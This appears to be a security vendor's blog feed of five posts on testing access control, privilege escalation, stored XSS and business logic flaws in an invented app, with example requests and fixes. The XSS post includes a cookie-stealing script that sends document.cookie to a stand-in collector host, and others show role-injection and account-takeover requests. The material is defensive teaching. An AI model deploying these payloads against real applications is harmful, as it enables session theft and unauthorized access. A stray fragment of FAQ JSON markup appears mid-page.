Author: UnboundCompute

  • How to Test Access Control: A Step by Step Method for Web Apps and APIs

    How to Test Access Control: A Step by Step Method for Web Apps and APIs

    Access control is the control that fails most often and the one automated tooling is worst at checking. The reason is simple: a broken access control request is not malformed, so there is no bad pattern to detect. Deciding it is a bug requires knowing who was supposed to be allowed. This guide covers how to test access control in a web application or API, in an order you can actually work through, and what a correct result looks like at each step.

    Before you start: build the matrix

    Access control testing is comparison testing, so the first job is having things to compare. You need accounts and you need an inventory.

    • At least two accounts at the same level, so you can test one member against another. A single account cannot reveal a horizontal bug.
    • One account per privilege level the product has: member, administrator, billing owner, support, and anything internal.
    • Two tenants if the product is multi tenant. Two workspaces owned by different people is the only way to test the boundary that matters most to your customers.
    • A list of objects and who owns them. Note the ids created by each account. You will use this constantly.
    • A capture of normal traffic per level. Drive the application as each account with a proxy or the browser network tab recording. That capture is your test suite.

    Write down, in one table, which roles are meant to be able to do what. Most teams have never written this down, and the act of writing it usually surfaces two or three rules nobody had agreed on.

    How to test access control, step by step

    1. Swap object ids between accounts

    Signed in as user A, request the objects owned by user B. Change the id in the path, the query string, the JSON body, and any header that carries one.

    GET /api/notes/4121
    Authorization: Bearer tokenForUserA
    
    expected: 403 Forbidden or 404 Not Found
    finding:  200 OK with user B's data

    Repeat per verb, because read and write are authorized separately. A GET that is correctly denied says nothing about the PATCH or DELETE on the same object.

    2. Replay privileged requests with an unprivileged token

    Take the capture from the admin account and send those exact requests with a member token. This is the fastest test in the whole list and it finds the most serious bugs, because a route that only checks that you are signed in will answer anyone who is.

    3. Try to write fields you should not control

    Add attributes to bodies that do not document them, then read the record back to see whether the value stuck.

    PATCH /api/users/me
    { "display_name": "Sam", "role": "admin", "workspace_id": 9 }

    The usual candidates are role, is_admin, plan, scopes, owner_id, tenant_id, and verified. A response that echoes your value back is not proof on its own. Fetch the object again as a different account to confirm the change persisted.

    4. Follow every object into its quiet paths

    The direct fetch is the route people remember to protect. The same record is usually reachable through several others.

    • List and search endpoints, which often filter in the interface rather than the query
    • Export and report jobs, which run in the background with service credentials
    • File downloads and signed links, where the link may outlive the permission
    • Notification emails and webhooks, which quote object contents to whoever is subscribed
    • Older API versions still routed and no longer maintained

    5. Test permission over time, not just at one moment

    Access control has a lifecycle, and testing at a single point misses the whole class of stale authority.

    • Demote an account, then reuse the token it was issued before the change
    • Remove a member from a workspace, then replay their earlier requests
    • Cancel an invitation, then accept it
    • Delete an object, then request it directly by id, and check restore and undelete paths

    6. Check the tenant boundary explicitly

    With an account in workspace A, try to read, write, and invite into workspace B. Then do it through the quiet paths from step 4. Cross tenant leakage is the finding that ends enterprise deals, and it is frequently absent from an application’s test suite entirely.

    A correct response is a denial you can prove, not the absence of a link in the interface. If the button is hidden but the endpoint answers, the control does not exist.

    What a correct result looks like

    • 403 or 404 on every unauthorized request. Prefer 404 for objects the caller should not know about, since a 403 confirms the record exists.
    • Denials that come from the server, reproducible outside the browser with a raw request.
    • Consistent answers across paths. If the direct fetch denies and the export includes the record, the control is not enforced, it is decorated.
    • A test per object route asserting that user A cannot reach user B’s object. Without these, the next refactor quietly reopens what you just fixed.

    Where automation helps and where it does not

    Scanners are good at the parts with a signature: missing authentication on a route, a directory that lists, a known vulnerable component. They struggle here because every request in this guide is legal. The tool has no way to know that note 4121 belongs to someone else, or that only the billing owner should change a plan. That knowledge is specific to your application and it does not exist anywhere in the code in a checkable form. More on where scanners stop and research starts is here.

    What can be automated is the part that is mechanical once the intent is understood: holding several identities at once, enumerating every object and route, and replaying each request as each account. That is a lot of combinations and exactly the sort of work people skip when a release is due. It is also the direction we are building in. As an early signal, a frontier model drove the full methodology on its own and identified and verified real access control and injection issues in test applications it had not seen before. We are still early and it needs supervision, but the shape of the work suits a system that can reason about what an application is for rather than what its inputs look like.

    If you do only one thing from this guide, do step 2. Record what an administrator does, replay it as an ordinary member, and see what answers. It takes an afternoon and it finds the bugs that matter. Read more about how UnboundCompute works.

    Frequently asked questions

    How do you test access control in a web application?

    Create at least two accounts at the same level plus one per privilege level, record the objects each one owns, and capture the normal traffic of each. Then run six checks: swap object ids between accounts, replay admin requests with a member token, try to write fields such as role that you should not control, follow each object into list, export and download paths, retest after permissions change, and probe the tenant boundary. A correct application answers 403 Forbidden or 404 Not Found every time.

    What is the fastest access control test to run?

    Record everything an administrator account does, then send those exact requests using an ordinary member token. It takes an afternoon and it finds the highest severity issues, because any route that checks only that you are signed in will answer whoever asks. Hiding a button removes the path a normal user takes to an endpoint, not the endpoint itself.

    Why can scanners not find access control bugs?

    Because the requests are legal. Every field has the right type, the session is valid, and the response is a clean 200 OK. A scanner works by comparing traffic against known bad patterns, and there is no pattern here to match. Knowing that a particular record belongs to a different user, or that only a billing owner may change a plan, is knowledge about your specific application that does not exist in the code in any checkable form.

    How many test accounts do I need for access control testing?

    At least four in most products. Two accounts at the same level, because a single account cannot reveal a horizontal bug where one member reads another member’s data. One account per elevated level, such as administrator or billing owner. And if the product is multi tenant, a second workspace owned by an unrelated person, since cross tenant access is the failure customers care about most and the one least often covered by an existing test suite.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, and a say in what it looks for. If your team ships software worth pressure testing, apply to the design partner program.

  • Privilege Escalation Examples: Five Ways an Ordinary Account Becomes an Admin

    Privilege Escalation Examples: Five Ways an Ordinary Account Becomes an Admin

    Privilege escalation is what happens when an account ends up able to do something its permission level was never meant to allow. In web applications it is rarely one dramatic exploit. It is usually a small gap in how permission is assigned, cached, or trusted, reached by a request that looks entirely ordinary. These privilege escalation examples come from an invented workspace app, each with the request that causes it and the reason the check failed.

    Horizontal and vertical escalation

    Two directions are worth naming before the examples. Horizontal escalation means acting as a different account at the same level, such as one member reading another member’s records. Vertical escalation means gaining a higher level, such as a member becoming an administrator. They matter separately because a chain often runs horizontally first and then vertically: take over any account, discover that one of those accounts is an admin, and the second step is free.

    Five privilege escalation examples

    Acme Notes is an invented team workspace with members, administrators, and a support tool. Every request below is authenticated and well formed.

    1. Promoting yourself through a profile update

    The profile endpoint saves whatever fields arrive, because it was written to be flexible about which ones the form sends.

    PATCH /api/users/me
    Authorization: Bearer tokenForMember
    { "display_name": "Sam", "role": "admin" }
    
    200 OK
    { "id": 12, "display_name": "Sam", "role": "admin" }

    The endpoint is the caller’s own record, so an ownership check passes. What is missing is a rule about which attributes a caller may write to their own record. Permission fields must be server decided, and a handler that binds a whole request body to a model will not know the difference.

    2. Choosing your role when accepting an invite

    An invitation is emailed with a token, and the acceptance endpoint reads the role from the request rather than from the invitation record.

    POST /api/invites/accept
    { "token": "inv_9f3c...", "role": "owner" }
    
    201 Created
    { "workspace_id": 7, "user_id": 4310, "role": "owner" }

    The invitation said member. The server never compared the two, so the invited person picks their own level. The same pattern shows up wherever a value that was decided earlier is resent by the client later, including plan tiers, seat counts, and approval states.

    Most escalation bugs are not a broken permission check. They are a permission that the server let the client supply in the first place.

    3. Escalating by taking over a higher privileged account

    The email change endpoint updates the address immediately and sends a verification link afterwards, and password reset uses the current address on file.

    PATCH /api/users/88/email
    Authorization: Bearer tokenForMember
    { "email": "attacker@example.com" }
    
    200 OK
    { "id": 88, "email": "attacker@example.com", "verified": false }

    Two failures compound here. The endpoint took an id from the path without checking it belongs to the caller, and the account switched to an unverified address that password reset still trusts. Neither is an escalation on its own. Together they turn any member into whichever account they choose, and account 88 happens to be an administrator.

    4. Permissions that outlive the change

    An administrator is demoted to member. Their existing token still carries the old claims, and the service reads role from the token rather than from the database.

    GET /api/admin/users
    Authorization: Bearer tokenIssuedBeforeDemotion
    
    200 OK
    { "users": [ ... ] }

    The permission model is correct and the enforcement is stale. Any place that caches authorization, such as long lived tokens, a session copy of the role, or a permissions list computed at login, keeps granting access after the decision behind it changed. Offboarding is where this hurts most.

    5. A support tool with no separate guard

    Support staff can view an account as its owner to reproduce issues. The impersonation endpoint checks that the caller is signed in and assumes only staff can reach it, because only staff see the button.

    POST /api/support/impersonate
    Authorization: Bearer tokenForMember
    { "user_id": 88 }
    
    200 OK
    { "session": "eyJ...sessionAsUser88" }

    Internal features are frequently built with lighter checks than customer facing ones, on the assumption that only internal people will call them. Impersonation, feature flag toggles, data export, and replay tools are worth reviewing first, because each one converts a normal account directly into another account.

    How to test for privilege escalation

    • Hold accounts at every level. Two members, one admin, and, if the product has them, one support account. Escalation testing is comparison testing and needs something to compare.
    • Replay privileged traffic downward. Record what the admin account does, then send exactly those requests with a member token. Anything that does not return a denial is a finding.
    • Add permission fields to bodies that do not document them. role, is_admin, plan, scopes, owner_id, and workspace_id are the usual candidates.
    • Change permissions and keep using the old session. Demote an account, then reuse its token. Revoke a seat, then call the API again. This catches the stale authorization class that point in time testing misses.
    • Look for the second step. An account takeover is only medium severity until you check whether any reachable account is privileged. Chains are where the real impact sits.

    None of these are found by matching a payload, because there is no payload. They are found by knowing which accounts exist, what each is meant to be able to do, and then checking whether the server agrees. More on access control bugs is here.

    How to prevent it

    • Allowlist writable fields per endpoint, so permission attributes cannot be set by a request even if they appear in one.
    • Read authority from the record, not the request. The invitation stores the role, so acceptance should use the stored value and ignore anything sent alongside the token.
    • Check authorization at the moment of use. If you must cache it, keep token lifetimes short and give yourself a way to revoke immediately.
    • Verify an email before it becomes the account’s identity, and invalidate active sessions and reset tokens whenever the address or password changes.
    • Guard internal tools like external ones. Impersonation deserves its own permission, an audit record, and ideally a second factor.
    • Deny by default, so a new route is unreachable until someone declares who may call it.

    Privilege escalation tends to be assembled rather than discovered: a writable field here, a stale token there, an id that was never checked, combined into a path from ordinary member to full control. Following that chain requires understanding how an application’s roles are meant to fit together, which is exactly what an autonomous researcher that reasons about application logic is built to do. Read more about how UnboundCompute works.

    Frequently asked questions

    What is an example of privilege escalation in a web application?

    The most common one is a writable permission field. A member sends PATCH /api/users/me with { "display_name": "Sam", "role": "admin" }, the handler binds the whole body to the user model, and the account is now an administrator. The ownership check passed, because the record really does belong to the caller. What was missing is a rule about which attributes a caller may write to their own record.

    What is the difference between horizontal and vertical privilege escalation?

    Horizontal means acting as another account at the same permission level, such as one member reading or editing another member’s records. Vertical means gaining a higher level, such as a member reaching administrator functions. Real incidents usually chain them: an attacker moves horizontally into any account they like, then checks whether one of those accounts is privileged, which makes the vertical step free.

    Can privilege escalation happen even when permissions are configured correctly?

    Yes, and stale authorization is the usual reason. If a service reads the role from a long lived token or from a copy stored in the session, an account that was demoted keeps its old access until that token expires. The permission model is right and the enforcement is out of date. This is why offboarding tests matter: change a permission, then keep using the session that was issued before the change.

    How do I test my application for privilege escalation?

    Hold accounts at every level, then compare. Record the requests an admin account makes and replay them with a member token, and treat anything other than a denial as a finding. Add fields such as role, is_admin, and scopes to bodies that do not document them. Demote an account and reuse its old token. Finally check whether any account you can take over is itself privileged, because that is where a medium severity bug becomes a critical one.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, and a say in what it looks for. If your team ships software worth pressure testing, apply to the design partner program.

  • Stored XSS Example: How One Saved Comment Runs in Everyone Else’s Browser

    Stored XSS Example: How One Saved Comment Runs in Everyone Else’s Browser

    Stored cross site scripting happens when an application saves attacker controlled text and later writes it into a page as markup instead of as content. It is the most damaging form of XSS, because the payload waits in the database and fires for every visitor who loads the affected page. This stored XSS example walks through one comment field in an invented app, from the request that plants the script to the response that runs it, and then covers how to find and fix the same flaw.

    A stored XSS example, start to finish

    Acme Notes is an invented team workspace where members leave comments on a shared note. An attacker with an ordinary account posts a comment.

    POST /api/notes/4120/comments
    Content-Type: application/json
    Authorization: Bearer tokenForAttacker
    
    { "body": "<script>fetch('https://collector.example/c?d='+encodeURIComponent(document.cookie))</script>" }
    
    201 Created
    { "id": 771, "author_id": 88, "body": "<script>...</script>" }

    The API stores the string exactly as sent. Nothing has gone wrong yet, because storing text is not a vulnerability. The bug appears when the comment is rendered. The template writes the comment body straight into the HTML.

    <div class="comment">
      <span class="author">Sam</span>
      <script>fetch('https://collector.example/c?d='+encodeURIComponent(document.cookie))</script>
    </div>

    Now every colleague who opens that note runs the script with the full privileges of their own session. The attacker did not need to trick anyone into clicking a crafted link, which is what separates stored XSS from the reflected kind. The trap is set once and the application delivers it.

    What the attacker gets

    Reading cookies is the textbook demonstration, and it is the least interesting outcome. If the session cookie is marked HttpOnly, that specific line fails, and the rest of the attack does not care.

    • Actions as the victim. The script runs on the origin, so it can call the API with the victim’s session: change an email address, invite an account, export data. It does not need to steal a token to use one.
    • Reading what the victim can read. Anything the page can fetch, the script can fetch and send elsewhere.
    • Privilege escalation by patience. A payload planted in a support ticket or a user profile often ends up rendered inside an admin dashboard. This is sometimes called blind XSS, because the attacker never sees the page where it fires.
    • Persistence. The payload survives logouts and password resets. It lives in the data, so it keeps firing until someone finds and removes the record.

    Storing the text is not the bug. Rendering it as markup is the bug, which means the fix belongs at the moment of output, not the moment of input.

    Where stored XSS actually hides

    Comment boxes are the example everyone uses and the field most likely to already be escaped. In practice these bugs sit in the places nobody thinks of as user content.

    • Display names and profile fields, which get rendered in headers, mention lists, and notification emails.
    • File names from uploads, echoed back in an attachment list.
    • Support tickets and error reports, which are read by staff in an internal tool with far more privilege than the app itself.
    • Fields that pass through a second system, such as a webhook payload or an imported CSV, where the escaping done by the main app never applies.
    • Markdown and rich text, where the renderer is allowed to emit HTML on purpose and the allowlist has a gap, often around href values or embedded SVG.

    How to find it

    The method is to plant a marker, then hunt for every place it comes back.

    • Use a unique probe. Put a distinctive string such as acmeprobe7719 into every field you can write to, then search the whole application for it: pages, exports, emails, admin views, PDF reports.
    • Check how it comes back. Viewing the source is what matters. If the probe appears as text and the angle brackets arrive as &lt;, that output is escaped. If your markup survives intact, the field renders.
    • Match the payload to the context. Text inside a div, a value inside an attribute, and a string inside an existing script block each need a different break out. A probe that fails in one context can succeed in another on the same page.
    • Follow the data to other readers. The field you wrote may be safe in the interface you can see and unescaped in an internal dashboard you cannot. Long lived probes with a callback are how those are found.
    • Retest after refactors. A template switched from a safe helper to raw output reintroduces the bug without touching anything that looks like security code.

    Do this only against systems you own or have written permission to test. More on injection and input bugs is here.

    How to fix it

    The single rule is to escape on output, in the context where the value lands, and to let a template engine do it rather than doing it by hand.

    // unsafe: writes the value as markup
    element.innerHTML = comment.body;
    
    // safe: writes the value as text
    element.textContent = comment.body;
    • Keep framework escaping on. React, Vue, Django, Rails and others escape by default. Nearly every stored XSS bug in a modern app is a place where somebody opted out, through dangerouslySetInnerHTML, a raw HTML directive, innerHTML, or a raw filter in a template.
    • Escape for the right context. HTML text, HTML attributes, JavaScript strings, and URLs all have different rules. HTML escaping inside a href still allows a javascript: URL.
    • Sanitize rich text with a maintained library and an allowlist of tags and attributes. Writing your own filter is how onerror and SVG payloads get through.
    • Add a content security policy so that an injected inline script is refused even when escaping fails. Treat it as a second layer, not the fix.
    • Set HttpOnly and SameSite on session cookies. This blocks cookie theft, not the attack, since the script can still act as the user.

    Stored XSS survives in mature codebases because the injection point and the place it fires are usually in different files, often owned by different teams, and sometimes in different applications. Finding it means tracking where a value travels and how each destination treats it, which is the sort of end to end reasoning about an application that an autonomous researcher is built to do. Read more about how UnboundCompute works.

    Frequently asked questions

    What is a stored XSS example?

    A member of a shared workspace posts a comment whose body is <script>...</script> rather than plain text. The API saves the string, and the template later writes that body straight into the page as markup. From then on, every colleague who opens the note runs the script inside their own session. The attacker never has to send anyone a link, because the application itself delivers the payload.

    What is the difference between stored and reflected XSS?

    Reflected XSS travels in the request, usually in a query string, and only fires for someone who follows a crafted link, so the attacker has to get each victim to click. Stored XSS is saved by the application and served to whoever loads the affected page, which means it needs no social engineering, hits every viewer, and keeps working until the record is removed. Stored is the more serious of the two for that reason.

    Does HttpOnly on cookies stop stored XSS?

    No. Marking the session cookie HttpOnly stops the script from reading that cookie, which blocks one demonstration of the bug and none of its real impact. The script still runs on your origin with the victim’s session attached, so it can call the API as that user, change their email, invite an account, or read and exfiltrate whatever the page can fetch. Treat HttpOnly as damage limitation rather than a fix.

    How do I fix stored XSS?

    Escape at the point of output, in the context the value lands in, and let your template engine do it. Most stored XSS in modern applications is a place where somebody opted out of default escaping through innerHTML, dangerouslySetInnerHTML, or a raw filter in a template. If you must accept rich text, sanitize it with a maintained library and a strict allowlist of tags and attributes, and add a content security policy as a second layer for when escaping is missed.

    rather than plain text. The API saves the string, and the template later writes that body straight into the page as markup. From then on, every colleague who opens the note runs the script inside their own session. The attacker never has to send anyone a link, because the application itself delivers the payload."}}, {"@type": "Question", "name": "What is the difference between stored and reflected XSS?", "acceptedAnswer": {"@type": "Answer", "text": "Reflected XSS travels in the request, usually in a query string, and only fires for someone who follows a crafted link, so the attacker has to get each victim to click. Stored XSS is saved by the application and served to whoever loads the affected page, which means it needs no social engineering, hits every viewer, and keeps working until the record is removed. Stored is the more serious of the two for that reason."}}, {"@type": "Question", "name": "Does HttpOnly on cookies stop stored XSS?", "acceptedAnswer": {"@type": "Answer", "text": "No. Marking the session cookie HttpOnly stops the script from reading that cookie, which blocks one demonstration of the bug and none of its real impact. The script still runs on your origin with the victim's session attached, so it can call the API as that user, change their email, invite an account, or read and exfiltrate whatever the page can fetch. Treat HttpOnly as damage limitation rather than a fix."}}, {"@type": "Question", "name": "How do I fix stored XSS?", "acceptedAnswer": {"@type": "Answer", "text": "Escape at the point of output, in the context the value lands in, and let your template engine do it. Most stored XSS in modern applications is a place where somebody opted out of default escaping through innerHTML, dangerouslySetInnerHTML, or a raw filter in a template. If you must accept rich text, sanitize it with a maintained library and a strict allowlist of tags and attributes, and add a content security policy as a second layer for when escaping is missed."}}]}

    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, and a say in what it looks for. If your team ships software worth pressure testing, apply to the design partner program.

    Try it yourself: CSP Evaluator lets you paste a Content Security Policy and see which directives actually stop XSS. It runs entirely in your browser, with no signup, and nothing you paste is ever uploaded.

  • Business Logic Vulnerability Examples: Five Valid Requests That Break the Rules

    Business Logic Vulnerability Examples: Five Valid Requests That Break the Rules

    A business logic vulnerability is a flaw in the rules an application follows rather than a flaw in how it parses input. The request is valid, the session is real, every field has the right type, and the server still ends up doing something it was never meant to do. This post collects five business logic vulnerability examples from an invented shop, shows the requests that cause them, and explains why this class of bug survives the tools most teams already run.

    Five business logic vulnerability examples

    The examples below all come from Acme Store, an invented ecommerce app with a cart, coupons, refunds, and a free trial. Nothing here is injected or malformed. Each request is one a normal client could send.

    1. The client sends the price

    The add to cart request carries the product price, and the server reads it straight from the body instead of looking it up.

    POST /api/cart/items
    Content-Type: application/json
    
    { "sku": "LAPTOP-15", "quantity": 1, "price": 1.00 }
    
    200 OK
    { "cart_total": "1.00" }

    Nothing about this request is invalid. The price field is a number, in range, correctly typed. The app is broken because it accepted a value that only its own catalog should decide.

    2. A negative quantity turns a purchase into a credit

    Quantity is validated as an integer. Nobody stated that it must be above zero.

    POST /api/cart/items
    { "sku": "LAPTOP-15", "quantity": 1 }
    { "sku": "MOUSE-01", "quantity": -20 }
    
    200 OK
    { "cart_total": "-98.00" }

    A negative line item subtracts from the total. Depending on how the payment step handles a negative amount, this either discounts the order or issues money. The type check passed. The rule that a basket cannot contain less than nothing was never written down anywhere the code could enforce it.

    3. One coupon applied many times

    A discount code is marked single use, and the check is done by reading the coupon, confirming it is unused, and then marking it used. Two requests arriving at the same moment both pass the read before either writes.

    POST /api/cart/coupon   { "code": "SAVE20" }
    POST /api/cart/coupon   { "code": "SAVE20" }      sent in parallel
    POST /api/cart/coupon   { "code": "SAVE20" }
    
    200 OK
    { "discounts_applied": 3, "cart_total": "12.00" }

    This is the classic gap between checking a condition and acting on it. Each request individually obeys the rule. The rule only holds if the check and the update happen as one atomic step, which is a database property, not a validation property.

    Input validation asks whether a value is well formed. Business logic asks whether a well formed value still makes sense. Most applications only answer the first question.

    4. Skipping a step in the order flow

    Checkout is meant to run in order: create the order, take payment, then confirm. The confirmation endpoint trusts that the earlier steps happened, because in the interface they always do.

    POST /api/orders            { "cart_id": 55 }        creates order 9001, status pending_payment
    POST /api/orders/9001/confirm
    
    200 OK
    { "id": 9001, "status": "confirmed", "paid": false }

    The payment call is simply never made. The server moved the order to confirmed because it was asked to, without checking that the state it was moving from allowed that transition. Any multi step flow with a state field is worth testing this way, including onboarding, verification, and approval workflows.

    5. Resetting a free trial that was meant to be once per person

    Acme Store gives one trial per email address and checks for an exact match on the stored string.

    POST /api/signup   { "email": "sam@example.com" }      trial granted
    POST /api/signup   { "email": "Sam@Example.com" }      trial granted again
    POST /api/signup   { "email": "sam+2@example.com" }    trial granted again

    The identity the business cares about is the person. The identity the code compares is a string. Whenever those two differ, a limit that reads as once per customer becomes once per spelling. The same shape appears in referral bonuses, per user rate limits, and vote counting.

    Why these are hard to catch automatically

    Every example above produces a clean 200 OK. There is no payload, no error, and no anomaly in the logs beyond a slightly odd number. A tool that works from a list of known bad strings has nothing to match on, because the input is data the app was built to accept.

    Catching these needs knowledge that lives outside the code: a coupon applies once per order, a basket cannot hold negative items, an order is confirmed only after payment. Those are assumptions, and an assumption nobody wrote down is an assumption nobody enforced. That is also why these bugs tend to be found by people who first learned how the product is supposed to work. More on the basics behind these bugs is here.

    How to find them

    • Write the rules down first. For each feature, list what must always be true: one coupon per order, quantity above zero, refund never exceeds the amount paid. You cannot test an invariant you have not stated.
    • Then try the opposite of each one. Send the coupon twice, the quantity negative, the refund larger than the charge. The test is only useful if it attacks the rule directly.
    • Replay and reorder requests. Capture a normal flow, then send its steps out of order, twice, or in parallel. Skipping a step and repeating a step are two different bugs.
    • Change values the interface never lets you change. Prices, ids, totals, roles, and status fields are the ones worth trying, because the client is not meant to control them.
    • Test the identity, not the string. Try case changes, plus addressing, trailing spaces, and unicode variants against any per person limit.

    How to fix them

    • Derive money and permission on the server. Look up the price from the catalog, and never accept a total, a discount, or a role from the client.
    • Make the check and the write atomic. A conditional update or a unique constraint enforces single use, while a read followed by a write does not.
    • Enforce transitions, not just states. Confirm should refuse to run unless the order is in a state that allows it, checked in the same statement that performs the change.
    • Normalize before you compare. Decide what counts as the same person, then apply that rule at every place the limit is enforced.
    • Turn each confirmed bug into a standing test. These regress quietly during refactors, because nothing about them looks like security code.

    Business logic flaws are the bugs that require understanding the application rather than recognizing a pattern, which is why they are underrepresented in scanner reports and overrepresented in real incidents. Testing them means forming an idea about what an app assumes and then designing a request that breaks that assumption, which is exactly what an autonomous researcher built around application logic is meant to do. Read more about how UnboundCompute works.

    Frequently asked questions

    What is an example of a business logic vulnerability?

    A common one is a price the client is allowed to set. If the add to cart request contains { "sku": "LAPTOP-15", "quantity": 1, "price": 1.00 } and the server reads that price instead of looking it up in its own catalog, the buyer decides what things cost. Every field is the right type and the request is completely legal, which is what separates this class from injection bugs.

    How is a business logic bug different from a technical vulnerability?

    A technical vulnerability such as SQL injection or cross site scripting comes from input the application failed to handle safely, so there is a bad string to look for. A business logic bug comes from valid input used in a way the designers did not consider, so there is nothing wrong with the request itself. The first is a parsing problem and the second is an assumption problem, which is why they are found by different methods.

    Why do automated scanners miss business logic flaws?

    Scanners compare traffic against a list of known bad patterns, and these requests contain none. Sending a coupon three times, ordering a negative quantity, or confirming an order before paying all produce a clean 200 OK. To call any of those a bug you need to know the rule that was broken, such as one coupon per order, and that rule usually exists only in someone’s head or in a product document rather than in the code.

    How do I test for business logic vulnerabilities?

    Start by writing down what must always be true for each feature, then design a request that attacks each statement directly. Send the single use coupon in parallel with itself, set a quantity below zero, confirm an order without paying, and sign up again with a different spelling of the same email. Replaying, reordering, and skipping steps in a captured flow finds most of them, because these bugs live in sequence and state rather than in any single request.


    Put an autonomous researcher on your own systems

    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, and a say in what it looks for. If your team ships software worth pressure testing, apply to the design partner program.

  • Broken Access Control Examples: Five Requests That Should Have Been Denied

    Broken Access Control Examples: Five Requests That Should Have Been Denied

    Access control is the rule that decides who may do what to which object, and it is the rule applications get wrong most often. The bug is rarely exotic. It is almost always a check that someone assumed was happening somewhere else. This post walks through five broken access control examples in an invented app, shows the exact request and response for each, and explains how to find and fix the same gaps in your own code.

    Five broken access control examples

    All five come from the same invented app, Acme Notes, a small team workspace where people write notes, invite colleagues, and export their data. Every request below is well formed and authenticated. Nothing is malformed and nothing is injected. That is the point: these requests are legal, and the server answers them anyway.

    1. Reading another user’s object by changing an id

    User A is signed in and opens one of their own notes.

    GET /api/notes/4120
    Authorization: Bearer tokenForUserA
    
    200 OK
    { "id": 4120, "owner_id": 12, "title": "Q3 planning", "body": "..." }

    They change one digit and send the same token.

    GET /api/notes/4121
    Authorization: Bearer tokenForUserA
    
    200 OK
    { "id": 4121, "owner_id": 88, "title": "Salary review notes", "body": "..." }

    Note 4121 belongs to owner 88. The token proved who the caller is. Nothing proved the caller owns this note. This is the horizontal case, one user reaching another user’s data at the same permission level.

    2. Calling an admin route directly

    The Acme Notes interface only draws the admin panel for accounts with the admin role, so a normal member never sees a link to it. The endpoint behind it is still live.

    GET /api/admin/users?limit=500
    Authorization: Bearer tokenForUserA
    
    200 OK
    { "users": [ { "id": 12, "email": "a@example.com", "role": "member" }, ... ] }

    This is the vertical case. The route checks that you are logged in and forgets to check what you are. Hiding the button removed the path a normal user would take to the endpoint, not the endpoint. Anyone who has watched the network tab of an admin account, or guessed the route, can call it.

    3. Sending your own role in the request body

    Acme Notes lets a workspace owner invite colleagues, and the invite endpoint accepts a role. The signup endpoint accepts the same object shape, because both write to the users table through one shared handler.

    POST /api/signup
    Content-Type: application/json
    
    { "email": "new@example.com", "password": "...", "role": "admin" }
    
    201 Created
    { "id": 4310, "email": "new@example.com", "role": "admin" }

    The server took a field from the client that only the server should ever set. No id was tampered with and no route was hidden. The app simply trusted an attribute that decides permission, which turns the account creation form into a promotion.

    Every one of these requests is valid. The bug is not in what was sent, it is in the check the server did not run before answering.

    4. A secondary path with no check on it

    The direct fetch in example 1 gets fixed, and the team adds an ownership check to GET /api/notes/:id. The export job still runs the old query.

    POST /api/exports
    Authorization: Bearer tokenForUserA
    { "workspace_id": 7 }
    
    200 OK
    { "job_id": "exp_91", "status": "queued" }
    
    GET /api/exports/exp_91/download
    Authorization: Bearer tokenForUserA
    
    200 OK
    notes.csv containing every note in workspace 7, including notes owned by other members

    The background worker runs with service credentials so it can read across the whole workspace, and the request that started it was never checked against what user A is allowed to export. Search endpoints, list endpoints, report builders, and file downloads all fail this way. The check on the obvious route does not travel to the quiet ones.

    5. Enforcement that lives in the browser

    A member’s plan allows five notes. The interface disables the create button after the fifth, and the server never counts.

    POST /api/notes
    Authorization: Bearer tokenForUserA
    { "title": "Note 41", "body": "..." }
    
    201 Created

    Any rule enforced only by the interface is a suggestion. The same applies to fields the form marks as read only, to prices the client sends, and to steps a wizard performs in order. If the browser is the only thing enforcing it, a request sent outside the browser ignores it.

    How to find these in your own app

    Every example above is found the same way, by holding two accounts and asking whether one can reach the other’s things.

    • Create two users and one admin. Note the object ids each one owns. Most of this testing is impossible with a single account.
    • Swap ids across accounts. With A’s token, request B’s objects. A correct server answers 403 Forbidden or 404 Not Found. A 200 OK carrying B’s data is the finding.
    • Replay privileged routes with a normal token. Capture what an admin account calls, then send the same requests as a member.
    • Add fields the client should not control. Try role, is_admin, plan, owner_id, and workspace_id in bodies that do not document them.
    • Follow the object into every other path. Search, list, export, download, webhook, and email notification. Each is a separate chance to leak the same record.
    • Repeat per verb. Read access and write access fail independently, so test GET, then PATCH, PUT, and DELETE.

    None of this is pattern matching. There is no payload to detect, because the request is exactly what a normal client sends. Finding these bugs means understanding what each object is and who is meant to own it, then testing that assumption directly. More on access control bugs is here.

    How to fix them

    The common cure is to make the ownership question part of the query rather than a separate step someone can forget.

    def get_note(note_id, current_user):
        note = db.notes.find_one(
            id=note_id,
            owner_id=current_user.id,   # ownership is part of the lookup
        )
        if note is None:
            return Response(status=404)
        return Response(note)
    • Scope every query to the caller by default in the data layer, so an unscoped lookup has to be written on purpose.
    • Deny by default on routes. A new endpoint should be unreachable until someone states who may call it, rather than open until someone remembers to close it.
    • Allowlist writable fields so a client can never set an attribute that grants permission.
    • Give background jobs the caller’s permissions instead of service credentials, or check the request before the job is queued.
    • Write one test per object route where user A asks for user B’s object and asserts a denial. That is what stops the bug returning after a refactor.

    Broken access control is a logic bug, not a string in a payload, which is why it survives tools that look for known bad input and why it keeps topping the lists of what actually gets exploited. Finding it means knowing what an object is, who should own it, and proving the server agrees, which is exactly the kind of assumption an autonomous researcher that tests application logic is built to check. Read more about how UnboundCompute works.

    Frequently asked questions

    What is an example of broken access control?

    The clearest example is changing an id in a request. A signed in user calls GET /api/notes/4120 for their own note, changes it to GET /api/notes/4121 with the same token, and the server returns a note owned by someone else. The token proved who the caller is, and nothing proved the caller owns that object. Other common examples are calling an admin route with a normal account, sending a role field the server should set itself, and an export job that reads across a whole workspace.

    What is the difference between horizontal and vertical access control bugs?

    Horizontal means reaching another user’s data at the same permission level, such as one member reading another member’s note. Vertical means gaining a higher permission level, such as a member calling an admin only endpoint or setting their own role to admin during signup. They are found differently: horizontal needs two accounts of the same type, vertical needs a low privilege account replaying what a privileged account does.

    Why do scanners miss broken access control?

    Because there is no payload to match. The request is exactly what a normal client sends, every field has the right type, and the session is valid. A scanner comparing traffic against a list of known bad strings sees nothing wrong, because nothing is wrong with the string. Deciding that a response is a bug requires knowing who is meant to own the object, which lives in the intent of the application rather than in its code.

